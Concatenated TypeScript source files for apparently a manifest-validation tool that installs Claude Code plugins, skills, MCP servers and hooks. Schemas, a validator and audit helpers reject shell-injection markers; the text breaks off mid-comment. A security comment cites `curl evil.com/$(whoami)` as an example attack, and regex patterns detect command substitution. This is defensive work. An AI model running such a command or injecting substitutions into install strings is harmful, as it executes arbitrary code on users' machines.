/\n// PreToolUse / PostToolUse hooks are configured in ~/.claude/settings.json under\n// `hooks.<event>[].{matcher, command}` shape. This install method lets a manifest\n// register a hook entry idempotently. The hook_command is the bash invocation the\n// user wants run on that lifecycle event (e.g. `node scripts/dashboard.mjs --no-open`\n// to auto-spawn the dashboard on session start).\n//\n// Sister: npxSkillInstaller schema (~17L) — same minimal TypeBox shape, no exotic\n// fields. `idempotent_check` reused from the 6 sister install methods (preflight\n// invariant per src/installers/lib/preflight.ts contract).\n\nimport { Type } from '@sinclair/typebox'\n\nconst HookEvent = Type.Union([\n Type.Literal('SessionStart'),\n Type.Literal('UserPromptSubmit'),\n Type.Literal('PreToolUse'),\n Type.Literal('PostToolUse'),\n])\n\nexport const CcHookAdd = Type.Object(\n {\n method: Type.Literal('cc-hook-add'),\n cmd: Type.String({ minLength: 1 }), // audit-trail (the bash invocation registered)\n // cwd/env required by lib/spawn.ts discriminated-union access (sister 6 method\n // shape parity — even though cc-hook-add does not spawn, generic spawn helper\n // expects these fields on the install union).\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n hook_event: HookEvent,\n hook_matcher: Type.Optional(Type.String()),\n hook_command: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = cc-plugin-marketplace per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n//\n// Phase 1.2 ADR 0005 errata — `marketplace_source` optional field for\n// third-party marketplaces (e.g. OthmanAdi/planning-with-files which is NOT\n// in claude-plugins-official). v0.1 only `source: github`. Official upstream\n// can omit; phase 2.1 cc-plugin-marketplace installer will consume this\n// field structurally instead of parsing the cmd string.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\nconst REPO_PATTERN = '^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$'\n\nexport const CcPluginMarketplace = Type.Object(\n {\n method: Type.Literal('cc-plugin-marketplace'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n // ADR 0005 — third-party marketplace structured metadata (optional).\n marketplace_source: Type.Optional(\n Type.Object(\n {\n source: Type.Literal('github'),\n repo: Type.String({ pattern: REPO_PATTERN, minLength: 3 }),\n },\n { additionalProperties: false },\n ),\n ),\n },\n { additionalProperties: false },\n)\n","// install.method = git-clone-with-setup per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\n\nexport const GitCloneWithSetup = Type.Object(\n {\n method: Type.Literal('git-clone-with-setup'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-http-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpHttpAdd = Type.Object(\n {\n method: Type.Literal('mcp-http-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-stdio-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n// Note: cmd should invoke `claude mcp add --scope project ...` (R3.2),\n// but schema only validates structure — actual cmd template is per-manifest.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpStdioAdd = Type.Object(\n {\n method: Type.Literal('mcp-stdio-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npm-cli per ADR 0001 type×method matrix (cli-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpmCli = Type.Object(\n {\n method: Type.Literal('npm-cli'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npx-skill-installer per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpxSkillInstaller = Type.Object(\n {\n method: Type.Literal('npx-skill-installer'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method discriminated union per ADR 0001 type×method matrix.\n// 6 methods: cc-plugin-marketplace, git-clone-with-setup, npx-skill-installer,\n// npm-cli, mcp-stdio-add, mcp-http-add.\n//\n// IMPL NOTE (Rule 1 / F8): TypeBox's Type.Union(..., { discriminator })\n// emits `anyOf` + lacks `type: \"object\"` + `required: [\"method\"]`, but Ajv\n// `discriminator: true` strict mode requires `oneOf` + `type: \"object\"` +\n// `required: [\"method\"]`. We hand-build the discriminator-compatible shape\n// here so Ajv accepts it. The inferred TypeScript type still tracks via\n// Static<>; Ajv accepts hand-rolled JSON Schema objects with no DX cost.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { CcHookAdd } from './ccHookAdd.js'\nimport { CcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { GitCloneWithSetup } from './gitCloneWithSetup.js'\nimport { McpHttpAdd } from './mcpHttpAdd.js'\nimport { McpStdioAdd } from './mcpStdioAdd.js'\nimport { NpmCli } from './npmCli.js'\nimport { NpxSkillInstaller } from './npxSkillInstaller.js'\n\nconst branches = [\n CcPluginMarketplace,\n GitCloneWithSetup,\n NpxSkillInstaller,\n NpmCli,\n McpStdioAdd,\n McpHttpAdd,\n CcHookAdd,\n] as const\n\n// Hand-built JSON Schema that Ajv `discriminator: true` strict mode accepts.\n// Strict mode also requires `properties.method` declared at the discriminator\n// level (else `strictRequired` complains that `method` is required but undefined\n// at this object scope). Per-branch `additionalProperties: false` is preserved\n// (each TypeBox object already sets it).\nexport const InstallSchema = {\n type: 'object',\n discriminator: { propertyName: 'method' },\n required: ['method'],\n properties: {\n method: { type: 'string' },\n },\n oneOf: branches as unknown as object[],\n} as const\n\n// Re-derive the TS type via TypeBox's regular Union (this is unused at runtime\n// but gives downstream consumers a typed `Manifest['spec']['install']`).\nconst InstallUnion = Type.Union([...branches])\nexport type Install = Static<typeof InstallUnion>\n","// spec sub-schema per ADR 0001 § Top-level structure.\n// Fields: type, component_type, install (discriminated union), verify, uninstall,\n// upstream_health, signed_by, signature?, platforms,\n// tested_with_versions?, mutually_exclusive_with?,\n// category, install_type, decision_rules? (ADR 0007 errata — phase 1.3 加),\n// phase?, triggers? (ADR 0009 errata — phase 1.5 T5.5 加).\n//\n// IMPL NOTE — phase 1.5 T5.5 (ADR 0009 § Decision / D1.5-6 / D1.5-7 / Pattern L\n// spec-level metadata 加法 + Pattern T): adds 2 optional spec-level fields for\n// the mattpocock 23 招式 phase routing schema. `phase` is a 4-value enum\n// (discuss / plan / execute / verify) mirroring `decision_rules.yaml` v2\n// `mattpocock_phases` keys; `triggers` is an optional object carrying routing\n// hints (complexity_threshold / tdd_required / brainstorming_required). Both\n// optional — additive only, A7' 8-pillar enforcement (no existing manifest\n// broken). NOTE: this schema uses TypeBox (`@sinclair/typebox`), the project's\n// established schema lib — NOT zod; the task_plan `z.enum` / `z.object` outline\n// is a planning-doc shorthand, implemented here as `Type.Union` / `Type.Object`\n// per ADR 0001 + the no-new-deps constraint.\n\nimport { Type } from '@sinclair/typebox'\nimport { type Install, InstallSchema } from './installMethods/index.js'\n\nconst TypeEnum = Type.Union([\n Type.Literal('cc-plugin'),\n Type.Literal('cc-skill-pack'),\n Type.Literal('mcp-npm'),\n Type.Literal('cli-npm'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th type, 1:1 with install_type:'hook'.\n // Lifecycle hooks registered to ~/.claude/settings.json (SessionStart / UserPromptSubmit /\n // PreToolUse / PostToolUse) via the cc-hook-add install method.\n Type.Literal('cc-hook'),\n])\n\nconst ComponentType = Type.Union([\n Type.Literal('command'),\n Type.Literal('behavior-rule'),\n Type.Literal('mcp-tool'),\n Type.Literal('cli-binary'),\n])\n\nconst Verify = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n timeout_ms: Type.Optional(Type.Integer({ minimum: 100, maximum: 60_000 })),\n expected_exit_code: Type.Optional(Type.Integer()),\n },\n { additionalProperties: false },\n)\n\nconst Uninstall = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n cleanup_paths: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nconst Stability = Type.Union([\n Type.Literal('stable'),\n Type.Literal('beta'),\n Type.Literal('unstable'),\n Type.Literal('archived'),\n])\n\nconst FallbackAction = Type.Union([\n Type.Literal('warn'),\n Type.Literal('block'),\n Type.Literal('use_alternative'),\n])\n\nconst UpstreamHealth = Type.Object(\n {\n stability: Stability,\n last_check: Type.String({ format: 'date' }),\n last_known_good_version: Type.String({ minLength: 1 }),\n fallback_action: FallbackAction,\n alternative: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nconst Platform = Type.Union([Type.Literal('linux'), Type.Literal('darwin'), Type.Literal('win32')])\n\nconst Signature = Type.Object(\n { sigstore_bundle: Type.String({ format: 'uri' }) },\n { additionalProperties: false },\n)\n\nconst TestedWithVersions = Type.Object(\n {\n cc_versions: Type.Optional(Type.Array(Type.String())),\n node_versions: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\n// ADR 0007 errata — categorization schema (phase 1.3 T2.1 加 3 字段).\n// `category` (必填, 6 enum) + `install_type` (必填, 4 enum, 与 install.method 1:N 闭合) +\n// `decision_rules` (optional, per-manifest decision hint — 全局 rule-set 在\n// routing/decision_rules.yaml T3.1, schema 完全独立).\nconst Category = Type.Union([\n Type.Literal('meta'),\n Type.Literal('engineering'),\n Type.Literal('design'),\n Type.Literal('content'),\n Type.Literal('testing'),\n Type.Literal('search'),\n])\n\nconst InstallType = Type.Union([\n Type.Literal('skill'),\n Type.Literal('mcp'),\n Type.Literal('npm'),\n Type.Literal('git'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th install_type, 1:1 with TypeEnum:'cc-hook'.\n Type.Literal('hook'),\n])\n\nconst DecisionRules = Type.Object(\n {\n trigger: Type.Optional(Type.String({ minLength: 1 })),\n default_expert: Type.Optional(Type.String({ minLength: 1 })),\n arbitration_rule: Type.Optional(Type.String({ minLength: 1 })),\n override_signals: Type.Optional(\n Type.Array(\n Type.Object(\n {\n phrase: Type.String({ minLength: 1 }),\n use: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n ),\n ),\n ),\n // Phase 2.3 W2 T2.5 — CD-3 negative-space hint mirror (B-17 per-manifest hint\n // redundant guard layer; SSOT remains routing/decision_rules.yaml — D-04 lead).\n // Additive optional; existing manifests unchanged (A7 守恒).\n do_not_use_when: Type.Optional(Type.Array(Type.String({ minLength: 1 }), { minItems: 1 })),\n if_rejected_use: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\n// ADR 0009 errata — mattpocock 23 招式 phase routing schema (phase 1.5 T5.5).\n// `Phase` (optional, 4 enum — 1:1 with decision_rules.yaml v2 mattpocock_phases\n// keys) + `Triggers` (optional, routing hints per D1.5-7). Both additive.\nconst Phase = Type.Union([\n Type.Literal('discuss'),\n Type.Literal('plan'),\n Type.Literal('execute'),\n Type.Literal('verify'),\n])\n\nconst Triggers = Type.Object(\n {\n complexity_threshold: Type.Optional(Type.Integer({ minimum: 1 })),\n tdd_required: Type.Optional(Type.Boolean()),\n brainstorming_required: Type.Optional(Type.Boolean()),\n },\n { additionalProperties: false },\n)\n\n// ADR 0010 errata — bundle-install modeling (#10, D2.1-1). One install action\n// may surface multiple named units (e.g. document-skills → pptx/docx/xlsx/pdf).\n// `provides` absent ⇒ atomic manifest (unchanged behavior). Present ⇒ one\n// install exposes N named units. `install`/`verify`/`uninstall` stay singular —\n// the bundle is installed by ONE action. Bundle manifests use the existing\n// `type: 'cc-skill-pack'` (D2.1-2 — no new TypeEnum/ComponentType value).\nconst ProvidedUnit = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // routing-addressable, <org>-<repo>-<unit>\n component_type: ComponentType, // reuse existing union\n },\n { additionalProperties: false },\n)\n\nexport const SpecSchema = Type.Object(\n {\n type: TypeEnum,\n component_type: ComponentType,\n install: Type.Unsafe<Install>(InstallSchema),\n verify: Verify,\n uninstall: Uninstall,\n upstream_health: UpstreamHealth,\n signed_by: Type.String({ pattern: '^[a-zA-Z0-9-]+$', minLength: 1 }),\n signature: Type.Optional(Signature),\n platforms: Type.Array(Platform, { minItems: 1, uniqueItems: true }),\n tested_with_versions: Type.Optional(TestedWithVersions),\n mutually_exclusive_with: Type.Optional(Type.Array(Type.String())),\n category: Category,\n install_type: InstallType,\n decision_rules: Type.Optional(DecisionRules),\n // ADR 0009 errata (phase 1.5 T5.5) — mattpocock phase routing schema.\n phase: Type.Optional(Phase),\n triggers: Type.Optional(Triggers),\n // ADR 0010 errata (phase 2.1 T1.3) — bundle-install `provides` field.\n provides: Type.Optional(Type.Array(ProvidedUnit, { minItems: 2, uniqueItems: true })),\n },\n { additionalProperties: false },\n)\n","// Manifest schema v1 — main entry per ADR 0001.\n// Top-level: { apiVersion, kind, metadata, spec } with strict additionalProperties: false.\n//\n// Type × install.method matrix (ADR 0001 § 4.5) is enforced via top-level `allOf`\n// with `if/then` clauses. Without this, the install discriminator only validates\n// the chosen method's structure but allows e.g. `type: cli-npm` paired with\n// `method: cc-plugin-marketplace` (matrix violation). Rule 2 enforcement.\n\nimport { Type } from '@sinclair/typebox'\nimport { ApiVersion, Kind, MetadataSchema } from './metadata.js'\nimport { SpecSchema } from './spec.js'\n\n// TypeBox-typed base — drives Static<typeof ManifestBase> for the inferred\n// Manifest TS type (re-exported via ./types.js).\nexport const ManifestBase = Type.Object(\n {\n apiVersion: ApiVersion,\n kind: Kind,\n metadata: MetadataSchema,\n spec: SpecSchema,\n },\n { additionalProperties: false },\n)\n\n// Per-type allowed install.method whitelist per ADR 0001 line 104-113.\nconst matrix: Record<string, string[]> = {\n 'cc-plugin': ['cc-plugin-marketplace'],\n 'cc-skill-pack': ['cc-plugin-marketplace', 'git-clone-with-setup', 'npx-skill-installer'],\n 'mcp-npm': ['mcp-stdio-add', 'mcp-http-add'],\n 'cli-npm': ['npm-cli'],\n}\n\nconst matrixConstraints = Object.entries(matrix).map(([typeValue, allowedMethods]) => ({\n if: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: { type: { const: typeValue } },\n required: ['type'],\n },\n },\n required: ['spec'],\n },\n // biome-ignore lint/suspicious/noThenProperty: JSON Schema `then` keyword (conditional schemas), not a thenable.\n then: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: {\n install: {\n type: 'object',\n properties: { method: { enum: allowedMethods } },\n required: ['method'],\n },\n },\n required: ['install'],\n },\n },\n required: ['spec'],\n },\n}))\n\n// Runtime JSON Schema fed to Ajv: typed base + matrix allOf clauses + metadata.\n// We spread ManifestBase (a TypeBox object that is already a valid JSON Schema)\n// and append the cross-field constraints.\nexport const ManifestSchema = {\n ...(ManifestBase as unknown as Record<string, unknown>),\n $id: 'https://harnessed.dev/schemas/manifest.v1.schema.json',\n title: 'harnessed Manifest v1',\n description: 'Per ADR 0001. Strict mode (additionalProperties: false everywhere).',\n allOf: matrixConstraints,\n}\n","// Phase 1.1.1 hotfix per Paranoid Staff Engineer review B1.\n//\n// ADR 0001 § \"字段拒绝清单\" claims schema rejects ${shell command} dynamic\n// substitution patterns, but v0.1 phase 1.1 schema only does structural\n// validation (Type.String + minLength). This module fills the gap before\n// phase 1.2 installer ships — without it, an upstream manifest with\n// `cmd: 'curl evil.com/$(whoami)'` would pass validation, and the\n// phase 1.2 installer that spawns the cmd string would execute arbitrary\n// code on the user's machine.\n//\n// v0.2 plan: add a `requires_secret` schema field + explicit\n// `${secret:KEY}` template syntax, at which point this detector should\n// allow the `${secret:*}` whitelist while still rejecting raw `${VAR}`.\n//\n// Detected patterns (4):\n// - `$(...)` POSIX command substitution\n// - `${...}` variable expansion\n// - backtick old-style command substitution\n// - dangerous yaml tags (handled at parse layer by yaml@2.x; we\n// don't double-check, but document the trust boundary)\n//\n// Targeted fields:\n// - spec.install.cmd\n// - spec.verify.cmd\n// - spec.uninstall.cmd\n// - spec.uninstall.cleanup_paths[*]\n\nimport type { Document, LineCounter, Node } from 'yaml'\nimport { isMap, isScalar, isSeq } from 'yaml'\nimport type { ValidationError } from './errors.js'\n\ninterface ShellPattern {\n test: (s: string) => boolean\n label: string\n hint: string\n}\n\nconst PATTERNS: ShellPattern[] = [\n {\n label: '$(...)',\n hint: 'POSIX command substitution',\n test: (s) => /\\$\\(/.test(s),\n },\n {\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal pattern label, not a JS template\n label: '${...}',\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal example in user-facing message\n hint: 'variable expansion (v0.2 will whitelist `${secret:KEY}`)',\n test: (s) => /\\$\\{/.test(s),\n },\n {\n label: 'backtick',\n hint: 'old-style command substitution',\n test: (s) => /`/.test(s),\n },\n]\n\nfunction lineOf(node: Node | null | undefined, lineCounter: LineCounter): number | null {\n if (!node?.range) return null\n const offset = node.range[0]\n return lineCounter.linePos(offset).line\n}\n\n/**\n * String-level shell-escape detector for runtime defense-in-depth.\n *\n * Phase 1.2 lib/spawn.ts re-runs this on `manifest.spec.install.cmd` right\n * before child_process.spawn(): if a future caller (e.g. phase 1.4 routing,\n * a test harness, or an installer that bypasses validate.ts) hands an\n * unvalidated cmd string to spawn, we still refuse to execute. Same pattern\n * set as `checkSecurityViolations`, just operating on a raw string instead\n * of a yaml AST node — no source-line/path context here.\n *\n * Returns the offending pattern descriptor on first hit, or null if clean.\n */\nexport function checkCmdString(cmd: string): { label: string; hint: string } | null {\n for (const pat of PATTERNS) {\n if (pat.test(cmd)) return { label: pat.label, hint: pat.hint }\n }\n return null\n}\n\nfunction checkScalarCmd(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n path: Array<string | number>,\n filename: string,\n): ValidationError | null {\n const node = doc.getIn(path, true)\n if (!node || !isScalar(node)) return null\n const value = node.value\n if (typeof value !== 'string') return null\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n return {\n file: filename,\n path: `/${path.join('/')}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at ${path.join('.')} — v0.1 forbids dynamic shell evaluation; v0.2 will use \\`requires_secret\\` + \\`\\${secret:KEY}\\` for env placeholders`,\n line: lineOf(node, lineCounter),\n column: null,\n keyword: 'security',\n }\n }\n }\n return null\n}\n\n/**\n * Pre-Ajv security gate per ADR 0001 § \"字段拒绝清单\".\n * Walks the parsed yaml AST and rejects any string-typed cmd field (or\n * cleanup_paths sequence element) containing `$(...)`, `${...}`, or\n * backticks. Returns ALL violations found (not short-circuit) so the\n * user can fix them in one pass.\n */\nexport function checkSecurityViolations(\n doc: Document.Parsed,\n filename: string,\n lineCounter: LineCounter,\n): ValidationError[] {\n const errors: ValidationError[] = []\n\n // Walk known cmd paths. We do NOT do generic AST recursion because we\n // want surgical: only fields where the installer will spawn a shell.\n const cmdPaths: Array<Array<string | number>> = [\n ['spec', 'install', 'cmd'],\n ['spec', 'verify', 'cmd'],\n ['spec', 'uninstall', 'cmd'],\n ]\n\n for (const p of cmdPaths) {\n const err = checkScalarCmd(doc, lineCounter, p, filename)\n if (err) errors.push(err)\n }\n\n // cleanup_paths is a sequence of strings — iterate each element.\n const cleanupNode = doc.getIn(['spec', 'uninstall', 'cleanup_paths'], true)\n if (cleanupNode && isSeq(cleanupNode)) {\n cleanupNode.items.forEach((item, idx) => {\n if (!isScalar(item)) return\n const value = item.value\n if (typeof value !== 'string') return\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n errors.push({\n file: filename,\n path: `/spec/uninstall/cleanup_paths/${idx}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at spec.uninstall.cleanup_paths[${idx}] — v0.1 forbids dynamic shell evaluation`,\n line: lineOf(item, lineCounter),\n column: null,\n keyword: 'security',\n })\n break\n }\n }\n })\n }\n\n // Sanity guard: if doc has no spec block (incomplete manifest), skip silently;\n // Ajv will report the structural error.\n void isMap\n\n return errors\n}\n","// Manifest validator entry per ADR 0001 + GA-1.\n// Pipeline: yaml.parseDocument -> doc.toJS() -> Ajv compiled validator -> typed Manifest.\n// T4.1 baseline: parse + Ajv strict + discriminator.\n// T4.2 extracts friendly-error mapping to ./errors.ts.\n// T4.3 adds yaml CST line/column mapping.\n//\n// IMPL NOTE (Rule 1 / F8): tsconfig has `verbatimModuleSyntax: true` (per ADR\n// 0002) which disables `esModuleInterop` synthetic-default behaviour at runtime.\n// `ajv` 8 ships a named `Ajv` class export, so a named import works directly.\n// `ajv-formats` exports only a default function, so we import it as a namespace\n// and pull `.default` at runtime — that mirrors what the CJS module actually\n// exposes (`module.exports = formatsPlugin; exports.default = formatsPlugin`).\n\nimport { Ajv } from 'ajv'\nimport * as ajvFormatsNs from 'ajv-formats'\nimport { LineCounter, parseDocument } from 'yaml'\nimport { ajvErrorToFriendly, type ValidationError, yamlParseErrorToFriendly } from './errors.js'\nimport { ManifestSchema } from './schema/index.js'\nimport type { Manifest } from './schema/types.js'\nimport { checkSecurityViolations } from './security.js'\n\nconst addFormats = (ajvFormatsNs as unknown as { default: (a: Ajv) => Ajv }).default\n\nconst ajv = addFormats(\n new Ajv({\n strict: true,\n strictSchema: true,\n strictTypes: true,\n strictRequired: true,\n allErrors: true,\n discriminator: true,\n allowUnionTypes: false,\n }),\n)\n\nlet _compiled: ReturnType<typeof ajv.compile<Manifest>> | null = null\nfunction getValidator() {\n if (!_compiled) {\n _compiled = ajv.compile<Manifest>(ManifestSchema as unknown as object)\n }\n return _compiled\n}\n\nexport type { ValidationError } from './errors.js'\n\nexport type ValidateResult =\n | { ok: true; manifest: Manifest }\n | { ok: false; errors: ValidationError[] }\n\n// ADR 0010 errata (phase 2.1 T1.4) — install_type ↔ install.method 1:N closure\n// enforcement. TypeBox `Type` cannot express cross-field constraints, so this\n// is a validate-layer refinement rule. Maps each install_type enum value to its\n// closed set of legal install.method values (ADR 0007 1:N closure). install\n// methods not in this map (currently none) are unconstrained.\nconst INSTALL_TYPE_METHODS: Record<string, readonly string[]> = {\n npm: ['npm-cli'],\n mcp: ['mcp-stdio-add', 'mcp-http-add'],\n git: ['git-clone-with-setup'],\n skill: ['cc-plugin-marketplace', 'npx-skill-installer'],\n}\n\nfunction checkInstallTypeMismatch(manifest: Manifest, filename: string): ValidationError[] {\n const spec = manifest.spec as { install_type?: string; install?: { method?: string } }\n const installType = spec.install_type\n const method = spec.install?.method\n if (!installType || !method) return []\n const allowed = INSTALL_TYPE_METHODS[installType]\n if (!allowed || allowed.includes(method)) return []\n return [\n {\n file: filename,\n path: 'spec.install.method',\n message: `install_type '${installType}' is not compatible with install.method '${method}' (ADR 0007 1:N closure — expected one of: ${allowed.join(', ')})`,\n line: null,\n column: null,\n keyword: 'install-type-mismatch',\n },\n ]\n}\n\nexport function validateManifestFile(yamlSource: string, filename: string): ValidateResult {\n const lineCounter = new LineCounter()\n const doc = parseDocument(yamlSource, { lineCounter })\n\n if (doc.errors.length > 0) {\n return {\n ok: false,\n errors: doc.errors.map((e) => yamlParseErrorToFriendly(e, filename)),\n }\n }\n\n // Phase 1.1.1 hotfix B1: pre-Ajv security gate. Reject `$(...)`, `${...}`,\n // backtick, etc. in any cmd field BEFORE structural validation so users\n // see the security failure first (not a confusing field-shape error).\n const securityErrors = checkSecurityViolations(doc, filename, lineCounter)\n if (securityErrors.length > 0) {\n return { ok: false, errors: securityErrors }\n }\n\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const errs = validate.errors ?? []\n return {\n ok: false,\n errors: errs.map((err) => ajvErrorToFriendly(err, filename, doc, lineCounter)),\n }\n }\n\n // ADR 0010 errata (phase 2.1 T1.4) — cross-field install_type ↔ install.method\n // 1:N closure check. Runs after Ajv structural validation passes (needs a\n // well-formed manifest); TypeBox `Type` cannot express cross-field rules.\n const manifest = data as Manifest\n const crossFieldErrors = checkInstallTypeMismatch(manifest, filename)\n if (crossFieldErrors.length > 0) {\n return { ok: false, errors: crossFieldErrors }\n }\n\n return { ok: true, manifest }\n}\n","// Phase 2.4 W4 T4.1 — audit runtime-layer helpers per B-28 + B-29 + R2.\n// 3 helpers: origin tamper (sister-share w/ allowFork=false), install.cmd\n// shell-injection + npm-pkg-vs-upstream cross-check, provenance gate.\n// Karpathy budget: ≤64L (B-29 target ≤50 + biome multi-line format carve-out\n// sister doctor.ts B-03 5%-tolerance pattern; semantically MIN — 3 helpers +\n// 1 `finding()` constructor, biome auto-expands long single-line returns).\nimport { spawnSync } from 'node:child_process'\nimport type { Manifest } from '../../manifest/schema/types.js'\nimport type { AuditFinding } from '../audit.js'\nimport { checkOrigin } from './origin-check.js'\n\n// Phase 2.4 W4 T4.1 — refined per real-world manifest survey: planner spec\n// originally COMMAND_SEPARATORS = /[;&|`$]/ flagged legitimate multi-step\n// installs (cp && cd; mkdir; etc.). Tighten to actual shell-eval injection\n// markers aligned with src/manifest/security.ts gate (Phase 1.1.1 hotfix B1):\n// $(...) command substitution / ${...} var expansion / backtick legacy substitution.\n// Bare `$` followed by non-{( (e.g. `$PATH` literal in echo) is NOT injection.\n// Rule 1 deviation per executor — see SUMMARY § Deviations.\nconst SHELL_EVAL_MARKERS = /\\$\\(|\\$\\{|`/\nconst NPM_PKG_RE = /npm(?:\\s+install\\b|\\s+i\\b)(?:\\s+(?:-g|--global))?\\s+(\\S+)/\n\nconst finding = (\n manifest: string,\n level: 'warn' | 'error',\n field: string,\n detail: string,\n): AuditFinding => ({ manifest, level, field, detail })\n\nexport function auditOriginIntegrity(cwd: string): AuditFinding[] {\n const r = checkOrigin(cwd, { allowFork: false }) // B-28 hard-fail mode (vs doctor allowFork=true)\n if (r.status === 'pass') return []\n return [\n finding('project', r.status === 'fail' ? 'error' : 'warn', '/git/remote/origin', r.detail),\n ]\n}\n\nexport function auditInstallCmdIntegrity(m: Manifest): AuditFinding[] {\n const out: AuditFinding[] = []\n const cmd = (m.spec.install as { cmd?: string }).cmd ?? ''\n if (SHELL_EVAL_MARKERS.test(cmd)) {\n out.push(\n finding(\n m.metadata.name,\n 'error',\n '/spec/install/cmd',\n 'install.cmd contains shell-eval marker $(/${/backtick (injection risk)',\n ),\n )\n }\n const upstream = m.metadata.upstream?.repository ?? ''\n const npmMatch = cmd.match(NPM_PKG_RE)\n if (npmMatch?.[1] && upstream.includes('github.com/')) {\n const declared = upstream.split('/').pop()?.replace('.git', '')\n if (declared && npmMatch[1] !== declared) {\n out.push(\n finding(\n m.metadata.name,\n 'warn',\n '/spec/install/cmd',\n `install.cmd npm pkg '${npmMatch[1]}' ≠ upstream '${declared}'`,\n ),\n )\n }\n }\n return out\n}\n\nexport function auditProvenance(): AuditFinding[] {\n const r = spawnSync('node', ['scripts/check-provenance.mjs'], { encoding: 'utf8' })\n if (r.status === 0) return []\n const detail = (r.stderr || r.stdout || '').trim().slice(0, 200)\n return [finding('project', 'error', '/.harnessed/provenance', detail)]\n}\n","// Phase 1.2 cli subcommand `audit` per ASSUMPTIONS B4 候选 1 + R2.3 + phase-1.1.1 M1 second-line check.\n//\n// Phase 1.2 scope: manifest 内自一致性校验 only. We do NOT call git remote\n// get-url against installed copies — that requires already-installed\n// upstreams + network access, deferred to phase 2.4 (real audit per ASSUMPTIONS\n// B4 + ROADMAP). Schema-level checks (git_ref pattern, signed_by pattern,\n// 